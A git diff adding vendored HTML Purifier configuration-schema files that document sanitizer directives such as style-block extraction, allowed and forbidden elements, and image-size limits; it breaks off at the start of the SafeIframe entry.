index 000000000..3397d9f71
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveProcessingInstructions.txt
@@ -0,0 +1,11 @@
+Core.RemoveProcessingInstructions
+TYPE: bool
+VERSION: 4.2.0
+DEFAULT: false
+--DESCRIPTION--
+Instead of escaping processing instructions in the form <code>&lt;? ...
+?&gt;</code>, remove it out-right. This may be useful if the HTML
+you are validating contains XML processing instruction gunk, however,
+it can also be user-unfriendly for people attempting to post PHP
+snippets.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveScriptContents.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveScriptContents.txt
new file mode 100644
index 000000000..a4cd966df
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveScriptContents.txt
@@ -0,0 +1,12 @@
+Core.RemoveScriptContents
+TYPE: bool/null
+DEFAULT: NULL
+VERSION: 2.0.0
+DEPRECATED-VERSION: 2.1.0
+DEPRECATED-USE: Core.HiddenElements
+--DESCRIPTION--
+<p>
+ This directive enables HTML Purifier to remove not only script tags
+ but all of their contents.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt
new file mode 100644
index 000000000..3db50ef20
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt
@@ -0,0 +1,11 @@
+Filter.Custom
+TYPE: list
+VERSION: 3.1.0
+DEFAULT: array()
+--DESCRIPTION--
+<p>
+ This directive can be used to add custom filters; it is nearly the
+ equivalent of the now deprecated <code>HTMLPurifier-&gt;addFilter()</code>
+ method. Specify an array of concrete implementations.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Escaping.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Escaping.txt
new file mode 100644
index 000000000..16829bcda
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Escaping.txt
@@ -0,0 +1,14 @@
+Filter.ExtractStyleBlocks.Escaping
+TYPE: bool
+VERSION: 3.0.0
+DEFAULT: true
+ALIASES: Filter.ExtractStyleBlocksEscaping, FilterParam.ExtractStyleBlocksEscaping
+--DESCRIPTION--
+
+<p>
+ Whether or not to escape the dangerous characters &lt;, &gt; and &amp;
+ as \3C, \3E and \26, respectively. This is can be safely set to false
+ if the contents of StyleBlocks will be placed in an external stylesheet,
+ where there is no risk of it being interpreted as HTML.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Scope.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Scope.txt
new file mode 100644
index 000000000..7f95f54d1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Scope.txt
@@ -0,0 +1,29 @@
+Filter.ExtractStyleBlocks.Scope
+TYPE: string/null
+VERSION: 3.0.0
+DEFAULT: NULL
+ALIASES: Filter.ExtractStyleBlocksScope, FilterParam.ExtractStyleBlocksScope
+--DESCRIPTION--
+
+<p>
+ If you would like users to be able to define external stylesheets, but
+ only allow them to specify CSS declarations for a specific node and
+ prevent them from fiddling with other elements, use this directive.
+ It accepts any valid CSS selector, and will prepend this to any
+ CSS declaration extracted from the document. For example, if this
+ directive is set to <code>#user-content</code> and a user uses the
+ selector <code>a:hover</code>, the final selector will be
+ <code>#user-content a:hover</code>.
+</p>
+<p>
+ The comma shorthand may be used; consider the above example, with
+ <code>#user-content, #user-content2</code>, the final selector will
+ be <code>#user-content a:hover, #user-content2 a:hover</code>.
+</p>
+<p>
+ <strong>Warning:</strong> It is possible for users to bypass this measure
+ using a naughty + selector. This is a bug in CSS Tidy 1.3, not HTML
+ Purifier, and I am working to get it fixed. Until then, HTML Purifier
+ performs a basic check to prevent this.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.TidyImpl.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.TidyImpl.txt
new file mode 100644
index 000000000..6c231b2d7
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.TidyImpl.txt
@@ -0,0 +1,16 @@
+Filter.ExtractStyleBlocks.TidyImpl
+TYPE: mixed/null
+VERSION: 3.1.0
+DEFAULT: NULL
+ALIASES: FilterParam.ExtractStyleBlocksTidyImpl
+--DESCRIPTION--
+<p>
+ If left NULL, HTML Purifier will attempt to instantiate a <code>csstidy</code>
+ class to use for internal cleaning. This will usually be good enough.
+</p>
+<p>
+ However, for trusted user input, you can set this to <code>false</code> to
+ disable cleaning. In addition, you can supply your own concrete implementation
+ of Tidy's interface to use, although I don't know why you'd want to do that.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.txt
new file mode 100644
index 000000000..078d08741
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.txt
@@ -0,0 +1,74 @@
+Filter.ExtractStyleBlocks
+TYPE: bool
+VERSION: 3.1.0
+DEFAULT: false
+EXTERNAL: CSSTidy
+--DESCRIPTION--
+<p>
+ This directive turns on the style block extraction filter, which removes
+ <code>style</code> blocks from input HTML, cleans them up with CSSTidy,
+ and places them in the <code>StyleBlocks</code> context variable, for further
+ use by you, usually to be placed in an external stylesheet, or a
+ <code>style</code> block in the <code>head</code> of your document.
+</p>
+<p>
+ Sample usage:
+</p>
+<pre><![CDATA[
+<?php
+ header('Content-type: text/html; charset=utf-8');
+ echo '<?xml version="1.0" encoding="UTF-8"?>';
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+ <title>Filter.ExtractStyleBlocks</title>
+<?php
+ require_once '/path/to/library/HTMLPurifier.auto.php';
+ require_once '/path/to/csstidy.class.php';
+
+ $dirty = '<style>body {color:#F00;}</style> Some text';
+
+ $config = HTMLPurifier_Config::createDefault();
+ $config->set('Filter', 'ExtractStyleBlocks', true);
+ $purifier = new HTMLPurifier($config);
+
+ $html = $purifier->purify($dirty);
+
+ // This implementation writes the stylesheets to the styles/ directory.
+ // You can also echo the styles inside the document, but it's a bit
+ // more difficult to make sure they get interpreted properly by
+ // browsers; try the usual CSS armoring techniques.
+ $styles = $purifier->context->get('StyleBlocks');
+ $dir = 'styles/';
+ if (!is_dir($dir)) mkdir($dir);
+ $hash = sha1($_GET['html']);
+ foreach ($styles as $i => $style) {
+ file_put_contents($name = $dir . $hash . "_$i");
+ echo '<link rel="stylesheet" type="text/css" href="'.$name.'" />';
+ }
+?>
+</head>
+<body>
+ <div>
+ <?php echo $html; ?>
+ </div>
+</b]]><![CDATA[ody>
+</html>
+]]></pre>
+<p>
+ <strong>Warning:</strong> It is possible for a user to mount an
+ imagecrash attack using this CSS. Counter-measures are difficult;
+ it is not simply enough to limit the range of CSS lengths (using
+ relative lengths with many nesting levels allows for large values
+ to be attained without actually specifying them in the stylesheet),
+ and the flexible nature of selectors makes it difficult to selectively
+ disable lengths on image tags (HTML Purifier, however, does disable
+ CSS width and height in inline styling). There are probably two effective
+ counter measures: an explicit width and height set to auto in all
+ images in your document (unlikely) or the disabling of width and
+ height (somewhat reasonable). Whether or not these measures should be
+ used is left to the reader.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt
new file mode 100644
index 000000000..321eaa2d8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt
@@ -0,0 +1,16 @@
+Filter.YouTube
+TYPE: bool
+VERSION: 3.1.0
+DEFAULT: false
+--DESCRIPTION--
+<p>
+ <strong>Warning:</strong> Deprecated in favor of %HTML.SafeObject and
+ %Output.FlashCompat (turn both on to allow YouTube videos and other
+ Flash content).
+</p>
+<p>
+ This directive enables YouTube video embedding in HTML Purifier. Check
+ <a href="http://htmlpurifier.org/docs/enduser-youtube.html">this document
+ on embedding videos</a> for more information on what this filter does.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Allowed.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Allowed.txt
new file mode 100644
index 000000000..0b2c106da
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Allowed.txt
@@ -0,0 +1,25 @@
+HTML.Allowed
+TYPE: itext/null
+VERSION: 2.0.0
+DEFAULT: NULL
+--DESCRIPTION--
+
+<p>
+ This is a preferred convenience directive that combines
+ %HTML.AllowedElements and %HTML.AllowedAttributes.
+ Specify elements and attributes that are allowed using:
+ <code>element1[attr1|attr2],element2...</code>. For example,
+ if you would like to only allow paragraphs and links, specify
+ <code>a[href],p</code>. You can specify attributes that apply
+ to all elements using an asterisk, e.g. <code>*[lang]</code>.
+ You can also use newlines instead of commas to separate elements.
+</p>
+<p>
+ <strong>Warning</strong>:
+ All of the constraints on the component directives are still enforced.
+ The syntax is a <em>subset</em> of TinyMCE's <code>valid_elements</code>
+ whitelist: directly copy-pasting it here will probably result in
+ broken whitelists. If %HTML.AllowedElements or %HTML.AllowedAttributes
+ are set, this directive has no effect.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedAttributes.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedAttributes.txt
new file mode 100644
index 000000000..fcf093f17
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedAttributes.txt
@@ -0,0 +1,19 @@
+HTML.AllowedAttributes
+TYPE: lookup/null
+VERSION: 1.3.0
+DEFAULT: NULL
+--DESCRIPTION--
+
+<p>
+ If HTML Purifier's attribute set is unsatisfactory, overload it!
+ The syntax is "tag.attr" or "*.attr" for the global attributes
+ (style, id, class, dir, lang, xml:lang).
+</p>
+<p>
+ <strong>Warning:</strong> If another directive conflicts with the
+ elements here, <em>that</em> directive will win and override. For
+ example, %HTML.EnableAttrID will take precedence over *.id in this
+ directive. You must set that directive to true before you can use
+ IDs at all.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedComments.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedComments.txt
new file mode 100644
index 000000000..140e21423
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedComments.txt
@@ -0,0 +1,10 @@
+HTML.AllowedComments
+TYPE: lookup
+VERSION: 4.4.0
+DEFAULT: array()
+--DESCRIPTION--
+A whitelist which indicates what explicit comment bodies should be
+allowed, modulo leading and trailing whitespace. See also %HTML.AllowedCommentsRegexp
+(these directives are union'ed together, so a comment is considered
+valid if any directive deems it valid.)
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedCommentsRegexp.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedCommentsRegexp.txt
new file mode 100644
index 000000000..f22e977d4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedCommentsRegexp.txt
@@ -0,0 +1,15 @@
+HTML.AllowedCommentsRegexp
+TYPE: string/null
+VERSION: 4.4.0
+DEFAULT: NULL
+--DESCRIPTION--
+A regexp, which if it matches the body of a comment, indicates that
+it should be allowed. Trailing and leading spaces are removed prior
+to running this regular expression.
+<strong>Warning:</strong> Make sure you specify
+correct anchor metacharacters <code>^regex$</code>, otherwise you may accept
+comments that you did not mean to! In particular, the regex <code>/foo|bar/</code>
+is probably not sufficiently strict, since it also allows <code>foobar</code>.
+See also %HTML.AllowedComments (these directives are union'ed together,
+so a comment is considered valid if any directive deems it valid.)
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt
new file mode 100644
index 000000000..1d3fa7907
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt
@@ -0,0 +1,23 @@
+HTML.AllowedElements
+TYPE: lookup/null
+VERSION: 1.3.0
+DEFAULT: NULL
+--DESCRIPTION--
+<p>
+ If HTML Purifier's tag set is unsatisfactory for your needs, you can
+ overload it with your own list of tags to allow. If you change
+ this, you probably also want to change %HTML.AllowedAttributes; see
+ also %HTML.Allowed which lets you set allowed elements and
+ attributes at the same time.
+</p>
+<p>
+ If you attempt to allow an element that HTML Purifier does not know
+ about, HTML Purifier will raise an error. You will need to manually
+ tell HTML Purifier about this element by using the
+ <a href="http://htmlpurifier.org/docs/enduser-customize.html">advanced customization features.</a>
+</p>
+<p>
+ <strong>Warning:</strong> If another directive conflicts with the
+ elements here, <em>that</em> directive will win and override.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt
new file mode 100644
index 000000000..5a59a55c0
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt
@@ -0,0 +1,20 @@
+HTML.AllowedModules
+TYPE: lookup/null
+VERSION: 2.0.0
+DEFAULT: NULL
+--DESCRIPTION--
+
+<p>
+ A doctype comes with a set of usual modules to use. Without having
+ to mucking about with the doctypes, you can quickly activate or
+ disable these modules by specifying which modules you wish to allow
+ with this directive. This is most useful for unit testing specific
+ modules, although end users may find it useful for their own ends.
+</p>
+<p>
+ If you specify a module that does not exist, the manager will silently
+ fail to use it, so be careful! User-defined modules are not affected
+ by this directive. Modules defined in %HTML.CoreModules are not
+ affected by this directive.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Attr.Name.UseCDATA.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Attr.Name.UseCDATA.txt
new file mode 100644
index 000000000..151fb7b82
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Attr.Name.UseCDATA.txt
@@ -0,0 +1,11 @@
+HTML.Attr.Name.UseCDATA
+TYPE: bool
+DEFAULT: false
+VERSION: 4.0.0
+--DESCRIPTION--
+The W3C specification DTD defines the name attribute to be CDATA, not ID, due
+to limitations of DTD. In certain documents, this relaxed behavior is desired,
+whether it is to specify duplicate names, or to specify names that would be
+illegal IDs (for example, names that begin with a digit.) Set this configuration
+directive to true to use the relaxed parsing rules.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt
new file mode 100644
index 000000000..45ae469ec
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt
@@ -0,0 +1,18 @@
+HTML.BlockWrapper
+TYPE: string
+VERSION: 1.3.0
+DEFAULT: 'p'
+--DESCRIPTION--
+
+<p>
+ String name of element to wrap inline elements that are inside a block
+ context. This only occurs in the children of blockquote in strict mode.
+</p>
+<p>
+ Example: by default value,
+ <code>&lt;blockquote&gt;Foo&lt;/blockquote&gt;</code> would become
+ <code>&lt;blockquote&gt;&lt;p&gt;Foo&lt;/p&gt;&lt;/blockquote&gt;</code>.
+ The <code>&lt;p&gt;</code> tags can be replaced with whatever you desire,
+ as long as it is a block level element.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CoreModules.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CoreModules.txt
new file mode 100644
index 000000000..524618879
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CoreModules.txt
@@ -0,0 +1,23 @@
+HTML.CoreModules
+TYPE: lookup
+VERSION: 2.0.0
+--DEFAULT--
+array (
+ 'Structure' => true,
+ 'Text' => true,
+ 'Hypertext' => true,
+ 'List' => true,
+ 'NonXMLCommonAttributes' => true,
+ 'XMLCommonAttributes' => true,
+ 'CommonAttributes' => true,
+)
+--DESCRIPTION--
+
+<p>
+ Certain modularized doctypes (XHTML, namely), have certain modules
+ that must be included for the doctype to be an conforming document
+ type: put those modules here. By default, XHTML's core modules
+ are used. You can set this to a blank array to disable core module
+ protection, but this is not recommended.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt
new file mode 100644
index 000000000..a64e3d7c3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt
@@ -0,0 +1,9 @@
+HTML.CustomDoctype
+TYPE: string/null
+VERSION: 2.0.1
+DEFAULT: NULL
+--DESCRIPTION--
+
+A custom doctype for power-users who defined there own document
+type. This directive only applies when %HTML.Doctype is blank.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt
new file mode 100644
index 000000000..103db754a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt
@@ -0,0 +1,33 @@
+HTML.DefinitionID
+TYPE: string/null
+DEFAULT: NULL
+VERSION: 2.0.0
+--DESCRIPTION--
+
+<p>
+ Unique identifier for a custom-built HTML definition. If you edit
+ the raw version of the HTMLDefinition, introducing changes that the
+ configuration object does not reflect, you must specify this variable.
+ If you change your custom edits, you should change this directive, or
+ clear your cache. Example:
+</p>
+<pre>
+$config = HTMLPurifier_Config::createDefault();
+$config->set('HTML', 'DefinitionID', '1');
+$def = $config->getHTMLDefinition();
+$def->addAttribute('a', 'tabindex', 'Number');
+</pre>
+<p>
+ In the above example, the configuration is still at the defaults, but
+ using the advanced API, an extra attribute has been added. The
+ configuration object normally has no way of knowing that this change
+ has taken place, so it needs an extra directive: %HTML.DefinitionID.
+ If someone else attempts to use the default configuration, these two
+ pieces of code will not clobber each other in the cache, since one has
+ an extra directive attached to it.
+</p>
+<p>
+ You <em>must</em> specify a value to this directive to use the
+ advanced API features.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt
new file mode 100644
index 000000000..229ae0267
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt
@@ -0,0 +1,16 @@
+HTML.DefinitionRev
+TYPE: int
+VERSION: 2.0.0
+DEFAULT: 1
+--DESCRIPTION--
+
+<p>
+ Revision identifier for your custom definition specified in
+ %HTML.DefinitionID. This serves the same purpose: uniquely identifying
+ your custom definition, but this one does so in a chronological
+ context: revision 3 is more up-to-date then revision 2. Thus, when
+ this gets incremented, the cache handling is smart enough to clean
+ up any older revisions of your definition as well as flush the
+ cache.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt
new file mode 100644
index 000000000..9dab497f2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt
@@ -0,0 +1,11 @@
+HTML.Doctype
+TYPE: string/null
+DEFAULT: NULL
+--DESCRIPTION--
+Doctype to use during filtering. Technically speaking this is not actually
+a doctype (as it does not identify a corresponding DTD), but we are using
+this name for sake of simplicity. When non-blank, this will override any
+older directives like %HTML.XHTML or %HTML.Strict.
+--ALLOWED--
+'HTML 4.01 Transitional', 'HTML 4.01 Strict', 'XHTML 1.0 Transitional', 'XHTML 1.0 Strict', 'XHTML 1.1'
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.FlashAllowFullScreen.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.FlashAllowFullScreen.txt
new file mode 100644
index 000000000..7878dc0bf
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.FlashAllowFullScreen.txt
@@ -0,0 +1,11 @@
+HTML.FlashAllowFullScreen
+TYPE: bool
+VERSION: 4.2.0
+DEFAULT: false
+--DESCRIPTION--
+<p>
+ Whether or not to permit embedded Flash content from
+ %HTML.SafeObject to expand to the full screen. Corresponds to
+ the <code>allowFullScreen</code> parameter.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt
new file mode 100644
index 000000000..57358f9ba
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt
@@ -0,0 +1,21 @@
+HTML.ForbiddenAttributes
+TYPE: lookup
+VERSION: 3.1.0
+DEFAULT: array()
+--DESCRIPTION--
+<p>
+ While this directive is similar to %HTML.AllowedAttributes, for
+ forwards-compatibility with XML, this attribute has a different syntax. Instead of
+ <code>tag.attr</code>, use <code>tag@attr</code>. To disallow <code>href</code>
+ attributes in <code>a</code> tags, set this directive to
+ <code>a@href</code>. You can also disallow an attribute globally with
+ <code>attr</code> or <code>*@attr</code> (either syntax is fine; the latter
+ is provided for consistency with %HTML.AllowedAttributes).
+</p>
+<p>
+ <strong>Warning:</strong> This directive complements %HTML.ForbiddenElements,
+ accordingly, check
+ out that directive for a discussion of why you
+ should think twice before using this directive.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt
new file mode 100644
index 000000000..93a53e14f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt
@@ -0,0 +1,20 @@
+HTML.ForbiddenElements
+TYPE: lookup
+VERSION: 3.1.0
+DEFAULT: array()
+--DESCRIPTION--
+<p>
+ This was, perhaps, the most requested feature ever in HTML
+ Purifier. Please don't abuse it! This is the logical inverse of
+ %HTML.AllowedElements, and it will override that directive, or any
+ other directive.
+</p>
+<p>
+ If possible, %HTML.Allowed is recommended over this directive, because it
+ can sometimes be difficult to tell whether or not you've forbidden all of
+ the behavior you would like to disallow. If you forbid <code>img</code>
+ with the expectation of preventing images on your site, you'll be in for
+ a nasty surprise when people start using the <code>background-image</code>
+ CSS property.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.MaxImgLength.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.MaxImgLength.txt
new file mode 100644
index 000000000..e424c386e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.MaxImgLength.txt
@@ -0,0 +1,14 @@
+HTML.MaxImgLength
+TYPE: int/null
+DEFAULT: 1200
+VERSION: 3.1.1
+--DESCRIPTION--
+<p>
+ This directive controls the maximum number of pixels in the width and
+ height attributes in <code>img</code> tags. This is
+ in place to prevent imagecrash attacks, disable with null at your own risk.
+ This directive is similar to %CSS.MaxImgLength, and both should be
+ concurrently edited, although there are
+ subtle differences in the input format (the HTML max is an integer).
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Nofollow.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Nofollow.txt
new file mode 100644
index 000000000..700b30924
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Nofollow.txt
@@ -0,0 +1,7 @@
+HTML.Nofollow
+TYPE: bool
+VERSION: 4.3.0
+DEFAULT: FALSE
+--DESCRIPTION--
+If enabled, nofollow rel attributes are added to all outgoing links.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Parent.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Parent.txt
new file mode 100644
index 000000000..62e8e160c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Parent.txt
@@ -0,0 +1,12 @@
+HTML.Parent
+TYPE: string
+VERSION: 1.3.0
+DEFAULT: 'div'
+--DESCRIPTION--
+
+<p>
+ String name of element that HTML fragment passed to library will be
+ inserted in. An interesting variation would be using span as the
+ parent element, meaning that only inline tags would be allowed.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt
new file mode 100644
index 000000000..dfb720496
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt
@@ -0,0 +1,12 @@
+HTML.Proprietary
+TYPE: bool
+VERSION: 3.1.0
+DEFAULT: false
+--DESCRIPTION--
+<p>
+ Whether or not to allow proprietary elements and attributes in your
+ documents, as per <code>HTMLPurifier_HTMLModule_Proprietary</code>.
+ <strong>Warning:</strong> This can cause your documents to stop
+ validating!
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txt
new file mode 100644
index 000000000..cdda09a4c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txt
@@ -0,0 +1,13 @@
+HTML.SafeEmbed
+TYPE: bool
+VERSION: 3.1.1
+DEFAULT: false
+--DESCRIPTION--
+<p>
+ Whether or not to permit embed tags in documents, with a number of extra
+ security features added to prevent script execution. This is similar to
+ what websites like MySpace do to embed tags. Embed is a proprietary
+ element and will cause your website to stop validating; you should
+ see if you can use %Output.FlashCompat with %HTML.SafeObject instead
+ first.</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeIframe.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeIframe.txt
new file mode 100644
index 000000000..5eb6ec2b5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeIframe.txt
@@ -0,0 +1,13 @@
